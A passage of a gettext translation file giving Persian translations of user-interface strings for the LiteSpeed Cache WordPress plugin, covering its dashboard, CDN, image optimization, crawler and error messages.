msgstr "آمار استفاده به ازای هر پرداخت"

#: tpl/dash/dashboard.tpl.php:270 tpl/dash/network_dash.tpl.php:108
msgid "PAYG Balance"
msgstr "موجودی PAYG"

#: tpl/dash/network_dash.tpl.php:107
msgid "Pay as You Go"
msgstr "پرداخت به ازای استفاده"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Usage"
msgstr "استفاده"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Fast Queue Usage"
msgstr "استفاده صف سریع"

#: tpl/dash/dashboard.tpl.php:205 tpl/dash/network_dash.tpl.php:38
msgid "CDN Bandwidth"
msgstr "پهنای باند CDN"

#: tpl/dash/entry.tpl.php:29
msgid "LiteSpeed Cache Dashboard"
msgstr "پیشخوان کش لایت اسپید"

#: tpl/dash/entry.tpl.php:21
msgid "Network Dashboard"
msgstr "پیشخوان شبکه"

#: tpl/general/online.tpl.php:51
msgid "No cloud services currently in use"
msgstr "هیچ سرویس ابری درحال‌حاضر استفاده نمی‌شود"

#: tpl/general/online.tpl.php:31
msgid "Click to clear all nodes for further redetection."
msgstr "برای پاک کردن تمام گره‌ها برای شناسایی مجدد کلیک کنید"

#: tpl/general/online.tpl.php:30
msgid "Current Cloud Nodes in Service"
msgstr "گره‌های ابری فعلی در سرویس"

#: tpl/cdn/qc.tpl.php:126 tpl/cdn/qc.tpl.php:133 tpl/dash/dashboard.tpl.php:359
#: tpl/general/online.tpl.php:153
msgid "Link to QUIC.cloud"
msgstr "پیوند به QUIC.cloud"

#: tpl/general/entry.tpl.php:17 tpl/general/entry.tpl.php:23
#: tpl/general/network_settings.tpl.php:19 tpl/general/settings.tpl.php:24
msgid "General Settings"
msgstr "تنظیمات عمومی"

#: tpl/cdn/other.tpl.php:136
msgid "Specify which HTML element attributes will be replaced with CDN Mapping."
msgstr "مشخص کنید کدام ویژگی‌های عنصر HTML با CDN Mapping جایگزین شوند."

#: src/admin-display.cls.php:475
msgid "Add new CDN URL"
msgstr "افزودن CDN URL جدید"

#: src/admin-display.cls.php:474
msgid "Remove CDN URL"
msgstr "حذف URL CDN"

#: tpl/cdn/cf.tpl.php:102
msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings."
msgstr "برای فعال کردن قابلیت زیر، Cloudflare API را در تنظیمات CDN روشن کنید."

#: tpl/cdn/entry.tpl.php:14
msgid "QUIC.cloud"
msgstr "QUIC.cloud"

#: thirdparty/woocommerce.content.tpl.php:18
msgid "WooCommerce Settings"
msgstr "تنظیمات ووکامرس"

#: src/gui.cls.php:638 src/gui.cls.php:820
#: tpl/page_optm/settings_media.tpl.php:141 tpl/toolbox/purge.tpl.php:100
msgid "LQIP Cache"
msgstr "کش LQIP"

#: src/admin-settings.cls.php:297 src/admin-settings.cls.php:333
msgid "Options saved."
msgstr "گزینه ها ذخیره شد."

#: src/img-optm.cls.php:1745
msgid "Removed backups successfully."
msgstr "پشتیبان‌گیری‌ها با موفقیت حذف شدند."

#: src/img-optm.cls.php:1653
msgid "Calculated backups successfully."
msgstr "پشتیبان‌گیری‌ها با موفقیت محاسبه شدند."

#: src/img-optm.cls.php:1587
msgid "Rescanned %d images successfully."
msgstr "%d تصویر با موفقیت دوباره بررسی شد."

#: src/img-optm.cls.php:1523 src/img-optm.cls.php:1587
msgid "Rescanned successfully."
msgstr "با موفقیت دوباره اسکن شد."

#: src/img-optm.cls.php:1458
msgid "Destroy all optimization data successfully."
msgstr "داده‌های بهینه‌سازی با موفقیت از بین رفت."

#: src/img-optm.cls.php:1357
msgid "Cleaned up unfinished data successfully."
msgstr "داده های ناتمام با موفقیت پاکسازی شد."

#: src/img-optm.cls.php:976
msgid "Pull Cron is running"
msgstr "کرون کشش در حال اجرا است"

#: src/img-optm.cls.php:700
msgid "No valid image found by Cloud server in the current request."
msgstr "هیچ تصویر معتبری توسط سرور ابری در درخواست فعلی پیدا نشد."

#: src/img-optm.cls.php:675
msgid "No valid image found in the current request."
msgstr "هیچ تصویر معتبری در درخواست فعلی پیدا نشد."

#: src/img-optm.cls.php:350
msgid "Pushed %1$s to Cloud server, accepted %2$s."
msgstr "%1$s به سرور Cloud ارسال شد، %2$s پذیرفته شد."

#: src/lang.cls.php:267
msgid "Revisions Max Age"
msgstr "حداکثر سن بازنگری ها"

#: src/lang.cls.php:266
msgid "Revisions Max Number"
msgstr "حداکثر تعداد ویرایش‌ها"

#: src/lang.cls.php:263
msgid "Debug URI Excludes"
msgstr "استثناهای URI اشکال‌زدایی"

#: src/lang.cls.php:262
msgid "Debug URI Includes"
msgstr "شامل‌های URI اشکال‌زدایی"

#: src/lang.cls.php:242
msgid "HTML Attribute To Replace"
msgstr "ویژگی HTML برای جایگزینی"

#: src/lang.cls.php:236
msgid "Use CDN Mapping"
msgstr "استفاده از نقشه CDN"

#: tpl/general/online.tpl.php:100
msgid "QUIC.cloud CDN:"
msgstr "شبکه توزیع محتوای QUIC.cloud:"

#: src/lang.cls.php:234
msgid "Editor Heartbeat TTL"
msgstr "TTL ضربان قلب ویرایشگر"

#: src/lang.cls.php:233
msgid "Editor Heartbeat"
msgstr "ضربان قلب ویرایشگر"

#: src/lang.cls.php:232
msgid "Backend Heartbeat TTL"
msgstr "TTL ضربان قلب بک‌اند"

#: src/lang.cls.php:231
msgid "Backend Heartbeat Control"
msgstr "کنترل ضربان قلب بک‌اند"

#: src/lang.cls.php:230
msgid "Frontend Heartbeat TTL"
msgstr "TTL ضربان قلب فرانت‌اند"

#: src/lang.cls.php:229
msgid "Frontend Heartbeat Control"
msgstr "کنترل ضربان قلب فرانت‌اند"

#: tpl/toolbox/edit_htaccess.tpl.php:71
msgid "Backend .htaccess Path"
msgstr "مسیر .htaccess بک‌اند"

#: tpl/toolbox/edit_htaccess.tpl.php:53
msgid "Frontend .htaccess Path"
msgstr "مسیر .htaccess فرانت‌اند"

#: src/lang.cls.php:219
msgid "ESI Nonces"
msgstr "غیرقابل پیش‌بینی‌های ESI"

#: src/lang.cls.php:215
msgid "WordPress Image Quality Control"
msgstr "کنترل کیفیت تصویر وردپرس"

#: src/lang.cls.php:206
msgid "Auto Request Cron"
msgstr "درخواست خودکار Cron"

#: src/lang.cls.php:199
msgid "Generate LQIP In Background"
msgstr "تولید LQIP در پس‌زمینه"

#: src/lang.cls.php:197
msgid "LQIP Minimum Dimensions"
msgstr "ابعاد حداقل LQIP"

#: src/lang.cls.php:196
msgid "LQIP Quality"
msgstr "کیفیت LQIP"

#: src/lang.cls.php:195
msgid "LQIP Cloud Generator"
msgstr "ژنراتور ابری LQIP"

#: src/lang.cls.php:194
msgid "Responsive Placeholder SVG"
msgstr "SVG جایگزین پاسخگو"

#: src/lang.cls.php:193
msgid "Responsive Placeholder Color"
msgstr "رنگ جایگزین پاسخگو"

#: src/lang.cls.php:191
msgid "Basic Image Placeholder"
msgstr "جایگزین تصویر پایه"

#: src/lang.cls.php:189
msgid "Lazy Load URI Excludes"
msgstr "URI بارگذاری تنبل مستثنیات"

#: src/lang.cls.php:188
msgid "Lazy Load Iframe Parent Class Name Excludes"
msgstr "نام کلاس والد iframe بارگذاری تنبل مستثنیات"

#: src/lang.cls.php:187
msgid "Lazy Load Iframe Class Name Excludes"
msgstr "نام کلاس iframe بارگذاری تنبل مستثنیات"

#: src/lang.cls.php:186
msgid "Lazy Load Image Parent Class Name Excludes"
msgstr "نام کلاس والد تصویر بارگذاری تنبل مستثنیات"

#: src/lang.cls.php:181
msgid "Gravatar Cache TTL"
msgstr "TTL کش Gravatar"

#: src/lang.cls.php:180
msgid "Gravatar Cache Cron"
msgstr "کرون کش Gravatar"

#: src/gui.cls.php:648 src/gui.cls.php:830 src/lang.cls.php:179
#: tpl/presets/standard.tpl.php:49 tpl/toolbox/purge.tpl.php:109
msgid "Gravatar Cache"
msgstr "کش Gravatar"

#: src/lang.cls.php:159
msgid "DNS Prefetch Control"
msgstr "کنترل پیش‌بارگذاری DNS"

#: src/lang.cls.php:154 tpl/presets/standard.tpl.php:46
msgid "Font Display Optimization"
msgstr "بهینه‌سازی نمایش فونت"

#: src/lang.cls.php:131
msgid "Force Public Cache URIs"
msgstr "اجبار به کش عمومی URIها"

#: src/lang.cls.php:102
msgid "Notifications"
msgstr "آگاه‌سازی‌ها"

#: src/lang.cls.php:96
msgid "Default HTTP Status Code Page TTL"
msgstr "TTL صفحه کد وضعیت HTTP پیش‌فرض"

#: src/lang.cls.php:95
msgid "Default REST TTL"
msgstr "TTL پیش‌فرض REST"

#: src/lang.cls.php:89
msgid "Enable Cache"
msgstr "فعالسازی کش"

#: src/cloud.cls.php:239 src/cloud.cls.php:291 src/lang.cls.php:85
msgid "Server IP"
msgstr "آی‌پی سرور"

#: src/lang.cls.php:24
msgid "Images not requested"
msgstr "تصاویر درخواست نشده"

#: src/cloud.cls.php:2036
msgid "Sync credit allowance with Cloud Server successfully."
msgstr "هماهنگی اعتبار مجاز با سرور ابری با موفقیت انجام شد."

#: src/cloud.cls.php:1656
msgid "Failed to communicate with QUIC.cloud server"
msgstr "عدم موفقیت در ارتباط با سرور QUIC.cloud"

#: src/cloud.cls.php:1579
msgid "Good news from QUIC.cloud server"
msgstr "خبر خوب از سرور QUIC.cloud"

#: src/cloud.cls.php:1563 src/cloud.cls.php:1571
msgid "Message from QUIC.cloud server"
msgstr "پیام از سرور QUIC.cloud"

#: src/cloud.cls.php:1239
msgid "Please try after %1$s for service %2$s."
msgstr "لطفا بعد از %1$s برای سرویس %2$s تلاش کنید."

#: src/cloud.cls.php:1095
msgid "No available Cloud Node."
msgstr "هیچ نود ابری در دسترس نیست."

#: src/cloud.cls.php:978 src/cloud.cls.php:991 src/cloud.cls.php:1029
#: src/cloud.cls.php:1095 src/cloud.cls.php:1236
msgid "Cloud Error"
msgstr "خطای ابر"

#: src/data.cls.php:214
msgid "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete."
msgstr "پایگاه داده از %s در حال به‌روزرسانی در پس‌زمینه است. این پیام پس از اتمام به‌روزرسانی ناپدید خواهد شد."

#: src/media.cls.php:449
msgid "Restore from backup"
msgstr "بازیابی از پشتیبان"

#: src/media.cls.php:434
msgid "No backup of unoptimized WebP file exists."
msgstr "هیچ پشتیبانی از فایل WebP بهینه‌نشده وجود ندارد."

#: src/media.cls.php:420
msgid "WebP file reduced by %1$s (%2$s)"
msgstr "فایل WebP به میزان %1$s کاهش یافته است (%2$s)"

#: src/media.cls.php:412
msgid "Currently using original (unoptimized) version of WebP file."
msgstr "در حال حاضر از نسخه اصلی (غیر بهینه‌سازی شده) فایل WebP استفاده می‌شود."

#: src/media.cls.php:405
msgid "Currently using optimized version of WebP file."
msgstr "در حال حاضر از نسخه بهینه‌سازی شده فایل WebP استفاده می‌شود."

#: src/media.cls.php:383
msgid "Orig"
msgstr "اصلی"

#: src/media.cls.php:381
msgid "(no savings)"
msgstr "(صرفه‌جویی وجود ندارد)"

#: src/media.cls.php:381
msgid "Orig %s"
msgstr "اصلی %s"

#: src/media.cls.php:380
msgid "Congratulation! Your file was already optimized"
msgstr "تبریک! فایل شما قبلاً بهینه‌سازی شده بود."

#: src/media.cls.php:375
msgid "No backup of original file exists."
msgstr "نسخه پشتیبان از فایل اصلی وجود ندارد."

#: src/media.cls.php:375 src/media.cls.php:433
msgid "Using optimized version of file. "
msgstr "استفاده از نسخه بهینه‌سازی‌شده فایل. "

#: src/media.cls.php:368
msgid "Orig saved %s"
msgstr "%s ذخیره شده"

#: src/media.cls.php:364
msgid "Original file reduced by %1$s (%2$s)"
msgstr "فایل اصلی به میزان %1$s (%2$s) کاهش یافته است"

#: src/media.cls.php:358 src/media.cls.php:413
msgid "Click to switch to optimized version."
msgstr "برای سوئیچ به نسخه بهینه‌سازی شده کلیک کنید."

#: src/media.cls.php:358
msgid "Currently using original (unoptimized) version of file."
msgstr "در حال حاضر از نسخه اصلی (بهینه‌نشده) فایل استفاده می‌شود."

#: src/media.cls.php:357 src/media.cls.php:409
msgid "(non-optm)"
msgstr "(غیر بهینه‌سازی شده)"

#: src/media.cls.php:354 src/media.cls.php:406
msgid "Click to switch to original (unoptimized) version."
msgstr "برای سوئیچ به نسخه اصلی (بهینه‌نشده) کلیک کنید."

#: src/media.cls.php:354
msgid "Currently using optimized version of file."
msgstr "در حال حاضر از نسخه بهینه‌سازی شده فایل استفاده می‌شود."

#: src/media.cls.php:353 src/media.cls.php:376 src/media.cls.php:402
#: src/media.cls.php:435
msgid "(optm)"
msgstr "(بهینه‌شده)"

#: src/placeholder.cls.php:140
msgid "LQIP image preview for size %s"
msgstr "پیش‌نمایش تصویر LQIP برای اندازه %s"

#: src/placeholder.cls.php:83
msgid "LQIP"
msgstr "LQIP"

#: src/crawler.cls.php:1410
msgid "Previously existed in blocklist"
msgstr "قبلاً در لیست سیاه وجود داشت"

#: src/crawler.cls.php:1407
msgid "Manually added to blocklist"
msgstr "به صورت دستی به لیست سیاه اضافه شد"

#: src/htaccess.cls.php:325
msgid "Mobile Agent Rules"
msgstr "قوانین عامل موبایل"

#: src/crawler-map.cls.php:377
msgid "Sitemap created successfully: %d items"
msgstr "نقشه سایت با موفقیت ایجاد شد: %d مورد"

#: src/crawler-map.cls.php:280
msgid "Sitemap cleaned successfully"
msgstr "نقشه سایت با موفقیت پاکسازی شد"

#: src/admin-display.cls.php:1494
msgid "Invalid IP"
msgstr "IP نامعتبر"

#: src/admin-display.cls.php:1466
msgid "Value range"
msgstr "دامنه مقادیر"

#: src/admin-display.cls.php:1463
msgid "Smaller than"
msgstr "کوچکتر از"

#: src/admin-display.cls.php:1461
msgid "Larger than"
msgstr "بزرگتر از"

#: src/admin-display.cls.php:1455
msgid "Zero, or"
msgstr "صفر، یا"

#: src/admin-display.cls.php:1443
msgid "Maximum value"
msgstr "حداکثر مقدار"

#: src/admin-display.cls.php:1440
msgid "Minimum value"
msgstr "حداقل مقدار"

#: src/admin-display.cls.php:1420
msgid "Path must end with %s"
msgstr "مسیر باید با %s پایان یابد"

#: src/admin-display.cls.php:1400
msgid "Invalid rewrite rule"
msgstr "قانون بازنویسی نامعتبر است"

#: src/admin-display.cls.php:1300
msgid "Currently set to %s"
msgstr "در حال حاضر به %s تنظیم شده است"

#: src/admin-display.cls.php:1290
msgid "This value is overwritten by the PHP constant %s."
msgstr "این مقدار توسط ثابت PHP %s بازنویسی می‌شود."

#: src/admin-display.cls.php:260
msgid "Toolbox"
msgstr "جعبه ابزار"

#: src/admin-display.cls.php:258
msgid "Database"
msgstr "پایگاه‌داده"

#: src/admin-display.cls.php:257 tpl/dash/dashboard.tpl.php:204
#: tpl/dash/network_dash.tpl.php:37 tpl/general/online.tpl.php:83
#: tpl/general/online.tpl.php:133 tpl/general/online.tpl.php:148
msgid "Page Optimization"
msgstr "بهینه‌سازی برگه"

#: src/admin-display.cls.php:250 tpl/dash/entry.tpl.php:16
msgid "Dashboard"
msgstr "پیشخوان"

#: src/db-optm.cls.php:291
msgid "Converted to InnoDB successfully."
msgstr "به InnoDB با موفقیت تبدیل شد."

#: src/purge.cls.php:328
msgid "Cleaned all Gravatar files."
msgstr "همه پرونده‌های گراواتار پاک شد."

#: src/purge.cls.php:311
msgid "Cleaned all LQIP files."
msgstr "همه پرونده‌های LQIP پاک شد."

#: src/error.cls.php:239
msgid "Unknown error"
msgstr "خطای ناشناخته"

#: src/error.cls.php:228
msgid "Your domain has been forbidden from using our services due to a previous policy violation."
msgstr "دامنه شما به دلیل نقض قبلی سیاست از استفاده از خدمات ما ممنوع شده است."

#: src/error.cls.php:223
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: "
msgstr "اعتبارسنجی بازگشت به دامنه شما ناموفق بود. لطفاً اطمینان حاصل کنید که هیچ فایروالی سرورهای ما را مسدود نکرده است. کد پاسخ: "

#: src/error.cls.php:218
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers."
msgstr "اعتبارسنجی بازگشت به دامنه شما ناموفق بود. لطفاً اطمینان حاصل کنید که هیچ فایروالی سرورهای ما را مسدود نکرده است."

#: src/error.cls.php:214
msgid "The callback validation to your domain failed due to hash mismatch."
msgstr "اعتبارسنجی بازگشت به دامنه شما به دلیل عدم تطابق هش ناموفق بود."

#: src/error.cls.php:210
msgid "Your application is waiting for approval."
msgstr "درخواست شما در انتظار تأیید است"

#: src/error.cls.php:204
msgid "Previous request too recent. Please try again after %s."
msgstr "درخواست قبلی خیلی تازه است. لطفاً بعد از %s دوباره تلاش کنید."

#: src/error.cls.php:199
msgid "Previous request too recent. Please try again later."
msgstr "درخواست قبلی خیلی تازه است. لطفاً بعداً دوباره تلاش کنید."

#: src/error.cls.php:195
msgid "Crawler disabled by the server admin."
msgstr "خزنده توسط مدیر سرور غیرفعال شده است."

#: src/error.cls.php:191
msgid "Failed to create table %1$s! SQL: %2$s."
msgstr "ایجاد جدول %s ناموفق بود! SQL: %s."

#: src/error.cls.php:167
msgid "Could not find %1$s in %2$s."
msgstr "نتوانستم %1$s را در %2$s پیدا کنم."

#: src/error.cls.php:155
msgid "Credits are not enough to proceed the current request."
msgstr "اعتبارها برای ادامه درخواست فعلی کافی نیستند."

#: src/error.cls.php:124
msgid "There is proceeding queue not pulled yet."
msgstr "صف در حال پردازش هنوز کشیده نشده است."

#: src/error.cls.php:116
msgid "The image list is empty."
msgstr "لیست تصاویر خالی است."

#: src/task.cls.php:233
msgid "LiteSpeed Crawler Cron"
msgstr "LiteSpeed Crawler Cron"

#: src/task.cls.php:214
msgid "Every Minute"
msgstr "هر دقیقه"

#: tpl/general/settings.tpl.php:119
msgid "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions."
msgstr "این گزینه را فعال کنید تا آخرین اخبار شامل رفع‌اشکال‌های مهم، نسخه‌های جدید، نسخه‌های بتا در دسترس، و تبلیغات به طور خودکار نمایش داده شوند."

#: tpl/toolbox/report.tpl.php:105
msgid "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report."
msgstr "برای اعطای دسترسی wp-admin به تیم پشتبانی لایت اسپید، لطفا یک پیوند بدون رمزعبور برای کاربری که در حال حاضر وارد شده است بسازید تا با گزارش ارسال گردد."

#. translators: %s: Link tags
#: tpl/toolbox/report.tpl.php:112
msgid "Generated links may be managed under %sSettings%s."
msgstr "پیوندهای ساخته شده ممکن است توسط %sتنظیمات%s مدیریت گردند."

#: tpl/toolbox/report.tpl.php:107
msgid "Please do NOT share the above passwordless link with anyone."
msgstr "لطفا هرگز پیوند بدون رمزعبور بالا را با کسی به اشتراک نگذارید."

#: tpl/toolbox/report.tpl.php:48
msgid "To generate a passwordless link for LiteSpeed Support Team access, you must install %s."
msgstr "برای تولید پیوند بدون رمزعبور برای دسترسی تیم پشتیبانی لایت اسپید، شما باید %s را نصب نمایید."

#: tpl/banner/cloud_news.tpl.php:30 tpl/banner/cloud_news.tpl.php:41
msgid "Install"
msgstr "نصب"

#: tpl/cache/settings-esi.tpl.php:46
msgid "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN."
msgstr "این تنظیمات فقط در وب سرور Enterprise لایت اسپید یا QUIC.cloud CDN در دسترس هستند."

#: tpl/banner/score.php:74 tpl/dash/dashboard.tpl.php:455
msgid "PageSpeed Score"
msgstr "نمره PageSpeed"

#: tpl/banner/score.php:62 tpl/banner/score.php:96
#: tpl/dash/dashboard.tpl.php:410 tpl/dash/dashboard.tpl.php:486
msgid "Improved by"
msgstr "بهبود یافته توسط"

#: tpl/banner/score.php:53 tpl/banner/score.php:87
#: tpl/dash/dashboard.tpl.php:402 tpl/dash/dashboard.tpl.php:478
msgid "After"
msgstr "بعد"

#: tpl/banner/score.php:45 tpl/banner/score.php:79
#: tpl/dash/dashboard.tpl.php:394 tpl/dash/dashboard.tpl.php:470
msgid "Before"
msgstr "قبل"

#: tpl/banner/score.php:40 tpl/dash/dashboard.tpl.php:374
msgid "Page Load Time"
msgstr "زمان بارگذاری صفحه"

#: tpl/inc/check_cache_disabled.php:20
msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."
msgstr "برای استفاده از توابع کش شما باید سرور لایت اسپید داشته باشید یا از QUIC.cloud CDN استفاده کنید."

#: src/lang.cls.php:212
msgid "Preserve EXIF/XMP data"
msgstr "نگه داشتن اطلاعات EXIF/XMP"

#: tpl/toolbox/beta_test.tpl.php:35
msgid "Try GitHub Version"
msgstr "نسخه GitHub را امتحان کنید"

#: tpl/cdn/other.tpl.php:112
msgid "If you turn any of the above settings OFF, please remove the related file types from the %s box."
msgstr "اگر هر کدام از تنظیمات بالا را خاموش کردید، لطفا انواع فایل مربوطه را از جعبه %s پاک کنید."

#: src/doc.cls.php:123
msgid "Both full and partial strings can be used."
msgstr "هر دو رشته کامل و جزئی می‌تواند مورد استفاده قرار گیرد."

#: tpl/page_optm/settings_media_exc.tpl.php:60
msgid "Images containing these class names will not be lazy loaded."
msgstr "تصاویری که حاوی این نام‌های کلاس هستند بارگذاری تنبل نخواهند شد."

#: src/lang.cls.php:185
msgid "Lazy Load Image Class Name Excludes"
msgstr "استثنا نام کلاس تصویر از بارگذاری تنبل"

#: tpl/cache/settings-cache.tpl.php:139 tpl/cache/settings-cache.tpl.php:164
msgid "For example, %1$s defines a TTL of %2$s seconds for %3$s."
msgstr "به‌عنوان مثال، %1$s یک TTL برابر %2$s ثانیه برای %3$s تعریف می‌کند."

#: tpl/cache/settings-cache.tpl.php:136 tpl/cache/settings-cache.tpl.php:161
msgid "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI."
msgstr "برای تعریف یک TTL سفارشی برای یک URI ، یک فضا دنبال شده توسط مقدار TTL به انتهای URL اضافه کنید."

#: tpl/banner/new_version.php:93
msgid "Maybe Later"
msgstr "شاید بعدا"

#: tpl/banner/new_version.php:87
msgid "Turn On Auto Upgrade"
msgstr "روشن کردن ارتقا خودکار"

#: tpl/banner/new_version.php:77 tpl/banner/new_version_dev.tpl.php:41
#: tpl/toolbox/beta_test.tpl.php:87
msgid "Upgrade"
msgstr "ارتقاء"

#: tpl/banner/new_version.php:66
msgid "New release %s is available now."
msgstr "نسخه جدید %s در حال حاضر در دسترس است."

#: tpl/banner/new_version.php:58
msgid "New Version Available!"
msgstr "نسخه جدید در دسترس است!"

#: tpl/banner/score.php:121
msgid "Created with ❤️ by LiteSpeed team."
msgstr "با ❤️ توسط تیم LiteSpeed ساخته شده است."

#: tpl/banner/score.php:112
msgid "Sure I'd love to review!"
msgstr "مطمئنا من دوست دارم بررسی کنم!"

#: tpl/banner/score.php:36
msgid "Thank You for Using the LiteSpeed Cache Plugin!"
msgstr "با تشکر از شما برای استفاده از افزونه LiteSpeed Cache!"

#: src/activation.cls.php:572
msgid "Upgraded successfully."
msgstr "ارتقاء با موفقیت انجام شد."

#: src/activation.cls.php:563 src/activation.cls.php:568
msgid "Failed to upgrade."
msgstr "ارتقاء انجام نشد."

#: src/conf.cls.php:683
msgid "Changed setting successfully."
msgstr "تنظیمات با موفقیت تغییر کرد."

#: tpl/cache/settings-esi.tpl.php:37
msgid "ESI sample for developers"
msgstr "نمونه ESI برای توسعه دهندگان"

#: tpl/cache/settings-esi.tpl.php:29
msgid "Replace %1$s with %2$s."
msgstr "جایگزین کردن %1$s با %2$s."

#: tpl/cache/settings-esi.tpl.php:26
msgid "You can turn shortcodes into ESI blocks."
msgstr "شما می‌توانید کد‌های کوتاه را به بلوک‌های ESI تبدیل کنید."

#: tpl/cache/settings-esi.tpl.php:22
msgid "WpW: Private Cache vs. Public Cache"
msgstr "WpW: کش خصوصی در مقابل کش عمومی"

#: tpl/page_optm/settings_html.tpl.php:132
msgid "Append query string %s to the resources to bypass this action."
msgstr "رشته کوئری %s را به منابع اضافه کنید تا از این عمل جلوگیری شود."

#: tpl/page_optm/settings_html.tpl.php:127
msgid "Google reCAPTCHA will be bypassed automatically."
msgstr "گوگل reCAPTCHA به طور خودکار نادیده گرفته خواهد شد."

#: tpl/crawler/settings.tpl.php:172
msgid "To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role."
msgstr "برای crawl یک کوکی خاص، نام کوکی و مقادیری را که می‌خواهید crawl  شود را وارد کنید. هر مقدار باید در یک خط باشد. به ازای هر مقدار کوکی و هر نقش شبیه سازی شده، یک خزنده ایجاد خواهد شد."

#: src/admin-display.cls.php:446 tpl/crawler/settings.tpl.php:179
msgid "Cookie Values"
msgstr "مقدار کوکی‌ها"

#: src/admin-display.cls.php:445
msgid "Cookie Name"
msgstr "نام کوکی"

#: src/lang.cls.php:253
msgid "Cookie Simulation"
msgstr "شبیه‌سازی کوکی"

#: tpl/page_optm/settings_html.tpl.php:146
msgid "Use Web Font Loader library to load Google Fonts asynchronously while leaving other CSS intact."
msgstr "از کتابخانه وب فونت لودر برای بارگیری فونت‌های گوگل به صورت ناهمگام استفاده کنید، در حالی که دیگر CSS را دست نخورده باقی بماند."

#: tpl/general/settings_inc.auto_upgrade.tpl.php:25
msgid "Turn this option ON to have LiteSpeed Cache updated automatically, whenever a new version is released. If OFF, update manually as usual."
msgstr "این گزینه را روشن کنید تا Cache LiteSpeed به صورت خودکار بروز شود، هر بار نسخه جدیدی منتشر می شود. اگر خاموش باشد، به طور معمول به صورت دستی بروزرسانی می شود."

#: src/lang.cls.php:99
msgid "Automatically Upgrade"
msgstr "ارتقا خودکار"

#: tpl/toolbox/settings-debug.tpl.php:98
msgid "Your IP"
msgstr "IP شما"

#: src/import.cls.php:156
msgid "Reset successfully."
msgstr "بازنشانی موفق بود."

#: tpl/toolbox/import_export.tpl.php:67
msgid "This will reset all settings to default settings."
msgstr "این تنظیمات را به تنظیمات پیش‌فرض تنظیم مجدد می کند."

#: tpl/toolbox/import_export.tpl.php:63
msgid "Reset All Settings"
msgstr "بازنشانی تمام تنظیمات"

#: tpl/page_optm/settings_tuning_css.tpl.php:128
msgid "Separate critical CSS files will be generated for paths containing these strings."
msgstr "فایل‌های CSS بحرانی جداگانه برای مسیرهایی که شامل این رشته‌ها هستند تولید خواهند شد."

#: src/lang.cls.php:169
msgid "Separate CCSS Cache URIs"
msgstr "URI‌های کش CSS جداشده"

#: tpl/page_optm/settings_tuning_css.tpl.php:114
msgid "For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site."
msgstr "برای مثال، اگر هر صفحه در سایت دارای قالب بندی‌های مختلف باشد، %s را در کادر وارد کنید. فایل‌های CSS بحرانی جداگانه برای هر صفحه در سایت کش می‌شود."

#: tpl/page_optm/settings_tuning_css.tpl.php:113
msgid "List post types where each item of that type should have its own CCSS generated."
msgstr "لیست انواع پستی که در آن هر آیتم از آن نوع باید CSS خودش را تولید کند."

#: src/lang.cls.php:168
msgid "Separate CCSS Cache Post Types"
msgstr "کش CSS جداشده انواع پست"

#: tpl/page_optm/settings_media.tpl.php:200
msgid "Size list in queue waiting for cron"
msgstr "لیست اندازه در صف انتظار برای cron"

#: tpl/page_optm/settings_media.tpl.php:175
msgid "If set to %1$s, before the placeholder is localized, the %2$s configuration will be used."
msgstr "اگر به %1$s تنظیم شود، قبل از آنکه نگهدارنده محلی شود، پیکربندی %2$s استفاده خواهد شد."

#: tpl/page_optm/settings_media.tpl.php:172
msgid "Automatically generate LQIP in the background via a cron-based queue."
msgstr "به‌طور خودکار LQIP را در پس‌زمینه از طریق یک صف مبتنی بر کرون تولید کنید."

#: tpl/page_optm/settings_media.tpl.php:77
msgid "This will generate the placeholder with same dimensions as the image if it has the width and height attributes."
msgstr "این نگهدارنده را با همان ابعاد به عنوان تصویر تولید می کند اگر دارای ویژگی‌های عرض و ارتفاع باشد."

#: tpl/page_optm/settings_media.tpl.php:76
msgid "Responsive image placeholders can help to reduce layout reshuffle when images are loaded."
msgstr "پیکربندی تصویر Responsive می‌تواند به کاهش ترمیم آرایش در زمانی که تصاویر بارگیری می‌شوند، کمک کند."

#: src/lang.cls.php:192
msgid "Responsive Placeholder"
msgstr "نگهدارنده واکنشگرا"

#: tpl/toolbox/purge.tpl.php:101
msgid "This will delete all generated image LQIP placeholder files"
msgstr "این همه فایل‌های جایگزین LQIP تصویر تولید شده را حذف خواهد کرد"

#: tpl/inc/check_cache_disabled.php:31
msgid "Please enable LiteSpeed Cache in the plugin settings."
msgstr "لطفا Cache LiteSpeed را در تنظیمات افزونه فعال کنید."

#: tpl/inc/check_cache_disabled.php:25
msgid "Please enable the LSCache Module at the server level, or ask your hosting provider."
msgstr "لطفا ماژول LSCache را در سطح سرور فعال کنید یا از ارائه دهنده میزبانی خود بخواهید."

#: src/cloud.cls.php:1435 src/cloud.cls.php:1458
msgid "Failed to request via WordPress"
msgstr "درخواست از طریق وردپرس ناموفق بود"

#. Description of the plugin
#: litespeed-cache.php
msgid "High-performance page caching and site optimization from LiteSpeed"
msgstr "کش سازی صفحه با عملکرد بالا و بهینه‌سازی سایت از LiteSpeed"

#: src/img-optm.cls.php:2099
msgid "Reset the optimized data successfully."
msgstr "داده‌های بهینه شده با موفقیت بازنشانی شد."

#: src/gui.cls.php:893
msgid "Update %s now"
msgstr "بروزرسانی %s"

#: src/gui.cls.php:890
msgid "View %1$s version %2$s details"
msgstr "مشاهده جزئیات %1$s نسخه %2$s"

#: src/gui.cls.php:888
msgid "<a href=\"%1$s\" %2$s>View version %3$s details</a> or <a href=\"%4$s\" %5$s target=\"_blank\">update now</a>."
msgstr "<a href=\"%1$s\" %2$s>مشاهده جزئیات نسخه %3$s </a> or <a href=\"%4$s\" %5$s target=\"_blank\">بروزرسانی</a>."

#: src/gui.cls.php:868
msgid "Install %s"
msgstr "نصب %s"

#: tpl/inc/check_cache_disabled.php:40
